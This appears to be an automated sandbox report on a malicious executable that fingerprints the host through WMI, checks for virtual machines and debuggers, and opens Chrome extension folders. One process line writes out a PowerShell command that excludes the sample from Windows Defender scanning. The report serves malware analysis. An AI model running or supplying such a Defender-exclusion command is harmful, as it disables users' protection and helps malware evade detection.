Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_ctypes.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17039

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

API coverage: 4.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 6319 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 213 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 6260 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 130 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5592	Thread sleep count: 501 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2516	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 4129 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5572	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 2168 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 4157 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep count: 2338 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep count: 3039 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 263 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 2596 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 1015 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2492	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2140	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2208	Thread sleep count: 2864 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3336	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2208	Thread sleep count: 574 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6FB1E79B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E85A0 FindFirstFileExW,FindClose,	0_2_00007FF6FB1E85A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB200B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E85A0 FindFirstFileExW,FindClose,	1_2_00007FF6FB1E85A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB200B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6FB1E79B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003229 MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte,	1_2_00007FFDFB003229
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B146EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	65_2_00007FF629B146EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B0E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	65_2_00007FF629B0E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B588E0 FindFirstFileExA,	65_2_00007FF629B588E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtrayZ
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1822840760.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer5
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: rar.exe, 00000041.00000003.1894918655.000001ED70C0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\`
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1823255495.000001C2C94FF000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1822840760.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C9501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rar.exe, 00000041.00000003.1894918655.000001ED70C0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: rar.exe, 00000041.00000003.1894918655.000001ED70C0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7zD{
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxserviceZ
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: e45AiBoV6X.exe, 00000001.00000003.1829771493.000002290BB7F000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988660753.000002290B8D6000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1880836585.000002290BB7F000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWrkProtocolRSVP
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvcZ
Source: getmac.exe, 0000002F.00000002.1824184542.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1822840760.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"ME=Co(
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1823255495.000001C2C94FF000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1822840760.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C9501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuserZ
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-gaZ
Source: e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: getmac.exe, 0000002F.00000003.1822840760.000001C2C94E4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1823255495.000001C2C94FF000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000003.1822840760.000001C2C94CC000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002F.00000002.1824184542.000001C2C9501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvcZ
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretrayZ
Source: e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer5Z
Source: e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004241		1_2_00007FFDFB004241
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00572C		1_2_00007FFDFB00572C

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 1_2_00007FFDFB0032F6 rdtsc

1_2_00007FFDFB0032F6

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB1EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6FB1EC44C

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 1_2_00007FFDFB354460 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFB354460

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB202790 GetProcessHeap,

0_2_00007FF6FB202790

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6FB1EC44C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1EBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6FB1EBBC0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6FB1F9924
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1EC62C SetUnhandledExceptionFilter,	0_2_00007FF6FB1EC62C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6FB1EC44C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1EBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF6FB1EBBC0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6FB1F9924
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1EC62C SetUnhandledExceptionFilter,	1_2_00007FF6FB1EC62C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE30D8 IsProcessorFeaturePresent,00007FFE126E19A0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFE126E19A0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAEE30D8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005A1F IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFB005A1F
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B54C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	65_2_00007FF629B54C10
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	65_2_00007FF629B4B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4B6D8 SetUnhandledExceptionFilter,	65_2_00007FF629B4B6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	65_2_00007FF629B4A66C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

